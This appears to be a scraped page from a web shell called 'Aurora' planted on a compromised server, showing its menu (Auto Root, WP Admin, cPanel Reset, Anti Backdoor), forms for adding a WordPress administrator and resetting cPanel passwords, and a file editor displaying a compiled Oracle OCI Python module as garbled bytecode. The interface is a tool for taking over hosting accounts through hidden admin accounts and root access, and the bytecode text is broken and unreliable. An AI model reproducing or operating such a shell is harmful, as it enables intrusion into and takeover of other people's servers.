Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
oci
golden_gate
models
__pycache__
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: add_resource_lock_details.cpython-39.opt-1.pyc
a ���fq � @ s8 d dl mZmZmZ d dlmZ eG dd� de��ZdS )� )�formatted_flat_dict� NONE_SENTINEL�#value_allowed_none_or_none_sentinel)�init_model_state_from_kwargsc @ sl e Zd ZdZdZdZdd� Zedd� �Zej dd� �Zed d � �Z e j dd � �Z dd � Zdd� Zdd� Z dS )�AddResourceLockDetailsz� Used to add a resource lock. Resource locks are used to prevent certain APIs from being called for the resource. A full lock prevents both updating the resource and deleting the resource. A delete lock prevents deleting the resource. �FULL�DELETEc K s( ddd�| _ ddd�| _d| _d| _dS )a$ Initializes a new AddResourceLockDetails object with values from keyword arguments. The following keyword arguments are supported (corresponding to the getters/setters of this class): :param type: The value to assign to the type property of this AddResourceLockDetails. Allowed values for this property are: "FULL", "DELETE" :type type: str :param message: The value to assign to the message property of this AddResourceLockDetails. :type message: str �str)�type�messager r N)Z swagger_typesZ attribute_map�_type�_message)�self�kwargs� r �T/usr/lib/python3.9/site-packages/oci/golden_gate/models/add_resource_lock_details.py�__init__ s ��zAddResourceLockDetails.__init__c C s | j S )z� **[Required]** Gets the type of this AddResourceLockDetails. Type of the lock. Allowed values for this property are: "FULL", "DELETE" :return: The type of this AddResourceLockDetails. :rtype: str )r �r r r r r 9 s zAddResourceLockDetails.typec C s* ddg}t ||�s td|� ���|| _dS )z� Sets the type of this AddResourceLockDetails. Type of the lock. :param type: The type of this AddResourceLockDetails. :type: str r r z1Invalid value for `type`, must be None or one of N)r � ValueErrorr )r r Zallowed_valuesr r r r G s �c C s | j S )a Gets the message of this AddResourceLockDetails. A message added by the creator of the lock. This is typically used to give an indication of why the resource is locked. :return: The message of this AddResourceLockDetails. :rtype: str �r r r r r r X s zAddResourceLockDetails.messagec C s || _ dS )a# Sets the message of this AddResourceLockDetails. A message added by the creator of the lock. This is typically used to give an indication of why the resource is locked. :param message: The message of this AddResourceLockDetails. :type: str Nr )r r r r r r e s c C s t | �S �N)r r r r r �__repr__r s zAddResourceLockDetails.__repr__c C s |d u rdS | j |j kS )NF)�__dict__�r �otherr r r �__eq__u s zAddResourceLockDetails.__eq__c C s | |k S r r r r r r �__ne__{ s zAddResourceLockDetails.__ne__N)�__name__� __module__�__qualname__�__doc__Z TYPE_FULLZTYPE_DELETEr �propertyr �setterr r r r r r r r r s r N)Zoci.utilr r r Zoci.decoratorsr �objectr r r r r �<module> s